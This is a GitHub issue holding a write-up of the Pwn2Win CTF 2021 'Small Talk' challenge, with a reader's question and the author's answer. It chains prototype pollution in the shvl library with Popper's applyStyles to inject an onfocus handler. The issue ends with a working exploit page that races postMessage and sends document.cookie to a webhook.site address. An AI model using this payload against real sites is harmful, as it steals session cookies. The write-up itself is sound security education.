Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pwn2Win CTF 2021 - Small Talk #36

Open
aszx87410 opened this issue May 31, 2021 · 2 comments
Open

Pwn2Win CTF 2021 - Small Talk #36

aszx87410 opened this issue May 31, 2021 · 2 comments
Labels

Comments

@aszx87410
Copy link
Owner

aszx87410 commented May 31, 2021

Small Talk

Description

Take a little break in your journey, read some of our extravagant knowledgement to become your best version...
...and, of course, share your sentences with us.

截圖 2021-05-31 上午8 36 30

Source code:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />

    <title>Share your thoughts</title>

    <link href="/static/css/style.css" rel="stylesheet">
    <script src="https://unpkg.com/shvl@latest/dist/shvl.umd.js"></script>
    <script src="https://unpkg.com/@popperjs/core@2"></script>
  </head>

  <body class="wrap --rtn">
    <div>
      <form action="/admin" method="POST" class="flex-form">
        <div id="js-usr-new" class="select__label text">Share your coach phrases with our admin</div>
        <input type="url" name="url" placeholder="address" class="ui-elem ui-elem-email text" />
        <button id="send-button" type="submit" class="ui-button text">send</button>
        <div id="send-tooltip" class="tooltip" role="tooltip">
            go ahead, click me :)
            <div class="tooltip-arrow" data-popper-arrow></div>
          </div>
      </form>
      <div id="quote" class="flex-form"></div>
    </div>
    <iframe id='#quote-base' src="/quotes"></iframe>
    <script>

      const button = document.querySelector('#send-button');
      const tooltip = document.querySelector('#send-tooltip');
      const message = document.querySelector('#quote');
    
      window.addEventListener('message', function setup(e) {
          window.removeEventListener('message', setup);
          quote = {'author': '', 'message': ''}
          shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
          shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);
          
          message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]

          const popperInstance = Popper.createPopper(button, tooltip, {
              placement: 'bottom',
              modifiers: [
                  {
                  name: 'offset',
                  options: {
                      offset: [0, 8],
                  },
                  },
              ],
          });
      });

    </script>
  </body>
</html>

quote.html

<script>
    phrases = [
        {'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
        {'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
        {'@bornrich': 'It\'s hard to beat someone that never gives up'},
        {'@businessman': 'Work while they sleep. Then live like they dream'},
        {'@bigboss': 'Life begins at the end of your comfort zone'},
        {'@daytrader': 'A successfull person never loses... They either win or learn!'}
    ]

    setTimeout(function(){
        index = Math.floor(Math.random() * 6)
        parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
    }, 0)
</script>

Writeup

First, shvl is so suspicious so I went to it's GitHub page and found that there is a prototype pollution we can leverage: robinvdvleuten/shvl#35

There is no X-Frame-Options header so we can embed index page and postMessage to it, but we need to be faster than quote.html because index page only accept first message event.

So I think the goal is to win the race and pollute some attributes to abuse Popper. But how do we do this? Let's check the source code!

When creating new Popper instance, it merges default modifiers and the modifiers user set:

https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/createPopper.js#L97

const orderedModifiers = orderModifiers(
  mergeByName([...defaultModifiers, ...state.options.modifiers])
);

And in mergeByName, it checks if property exists first:

https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/utils/mergeByName.js#L4

export default function mergeByName(
  modifiers: Array<$Shape<Modifier<any, any>>>
): Array<$Shape<Modifier<any, any>>> {
  const merged = modifiers.reduce((merged, current) => {
    const existing = merged[current.name]; // this line
    merged[current.name] = existing
      ? {
          ...existing,
          ...current,
          options: { ...existing.options, ...current.options },
          data: { ...existing.data, ...current.data },
        }
      : current;
    return merged;
  }, {});

  // IE11 does not support Object.values
  return Object.keys(merged).map(key => merged[key]);
}

So we can pollute here to override the default modifier if we need. Fortunately, we don't. Because there is a default modifier called applyStyles which adds styles and attributes to the element: https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/modifiers/applyStyles.js#L31

function applyStyles({ state }: ModifierArguments<{||}>) {
  Object.keys(state.elements).forEach((name) => {
    const style = state.styles[name] || {};

    const attributes = state.attributes[name] || {};
    const element = state.elements[name];

    // arrow is optional + virtual elements
    if (!isHTMLElement(element) || !getNodeName(element)) {
      return;
    }

    // Flow doesn't support to extend this property, but it's the most
    // effective way to apply styles to an HTMLElement
    // $FlowFixMe[cannot-write]
    Object.assign(element.style, style);

    Object.keys(attributes).forEach((name) => {
      const value = attributes[name];
      if (value === false) {
        element.removeAttribute(name);
      } else {
        element.setAttribute(name, value === true ? '' : value); // this line
      }
    });
  });
}

So we can set onfocus to the element and use hashtag to trigger the focus event.

The last thing is, how to be faster than quote.html to send message before it? The answer is, just keep sending it! I use requestAnimationFrame to send the message recursively until it reaches a limit(40 times in this case).

Final exploit, not perfect but works:

<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>XSS</title>
  </head>
  <body>
    <div>
      <iframe id="f1" name=f src="https://small-talk.coach:1337" width="500" height="700" onload="run()"></iframe>
    </div>
    <script>
      console.log('loaded')
      let count = 0
      send()

      function send() {
        f.postMessage(JSON.stringify({
            '__proto__.reference': {
              'onfocus': 'location="https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?c="+document.cookie'
            },
            message: '456'
        }), '*')
        requestAnimationFrame(() => {
          if (count++ < 40) {
            send()
          } else {
            setTimeout(() => {
              f1.src = "https://small-talk.coach:1337#quote";
              f1.src = "https://small-talk.coach:1337#send-button"
            }, 0)
          }
        })
      }

      function run() {
        console.log('iframe loaded')
      }
 
    </script>
  </body>
</html>
@TheMythologist
Copy link

Hi could you explain how u arrived to the conclusion that 'reference' is the attribute to be overwritten for this prototype pollution to work?

@aszx87410
Copy link
Owner Author

aszx87410 commented May 31, 2021

@TheMythologist

From this line: https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/createPopper.js#L63

return function createPopper<TModifier: $Shape<Modifier<any, any>>>(
  reference: Element | VirtualElement,
  popper: HTMLElement,
  options: $Shape<OptionsGeneric<TModifier>> = defaultOptions
): Instance {
  let state: $Shape<State> = {
    placement: 'bottom',
    orderedModifiers: [],
    options: { ...DEFAULT_OPTIONS, ...defaultOptions },
    modifiersData: {},
    elements: {
      reference, // this line
      popper,
    },
    attributes: {},
    styles: {},
  };

The first parameter we send in(which is button) will be state.elements.referecne, and in applyStyles:

function applyStyles({ state }: ModifierArguments<{||}>) {
  Object.keys(state.elements).forEach((name) => {
    const style = state.styles[name] || {};

    const attributes = state.attributes[name] || {};
    const element = state.elements[name];

Object.keys(state.elements).forEach((name) => {, name will be "reference"

And for this line: const attributes = state.attributes[name] || {};, because we polluted Object.prototype.reference, so state.attributes["reference"] will be the object we gave, which is { onfocus: "..." }

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants